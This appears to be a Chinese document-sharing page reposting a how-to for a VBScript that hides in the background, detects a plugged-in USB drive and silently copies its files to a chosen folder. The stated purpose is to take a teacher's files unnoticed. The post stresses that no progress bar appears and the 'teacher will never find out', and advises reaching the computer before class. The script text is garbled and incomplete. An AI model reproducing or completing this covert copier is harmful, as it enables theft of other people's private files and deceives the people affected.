好文档 - 专业文书写作范文服务资料分享网站

自动复制(把U盘里的东西复制到电脑上去)

天下 分享 时间: 加入收藏 我要投稿 点赞

代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行,老师绝对看不出

同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样

把下面的代码复制进去

set fso=createobject(\set ws=createobject(\on error resume next

do 1000

if (\U盘的盘符\

\U盘的盘符加*号\要复制到的目录\ \U盘的盘符加*号\要复制到的目录\ 20000 end if loop

注意标颜色的地方要自己改

蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\\USB\\代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。

红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\\*代替红色部分,F盘就是f:\\*,

第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。

注意和第一个的区别

复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。

后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了

要停止这个东西,在任务管理器里面 结束进程就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。

另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···要接近电脑请在上课之前,一般老师怕麻烦不会去重启的。

精心搜集整理,只为你的需要

自动复制(把U盘里的东西复制到电脑上去)

代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行,老师绝对看不出同样的建立一个文本文档,WIN+R里面打NOTEPAD,或者自己新建一个都一样把下面的代码复制进去setfso=createobject(\se
推荐度:
点击下载文档文档为doc格式
7r9aq3s83z4mu7526k929d31q9p63i00ef3
领取福利

微信扫码领取福利

微信扫码分享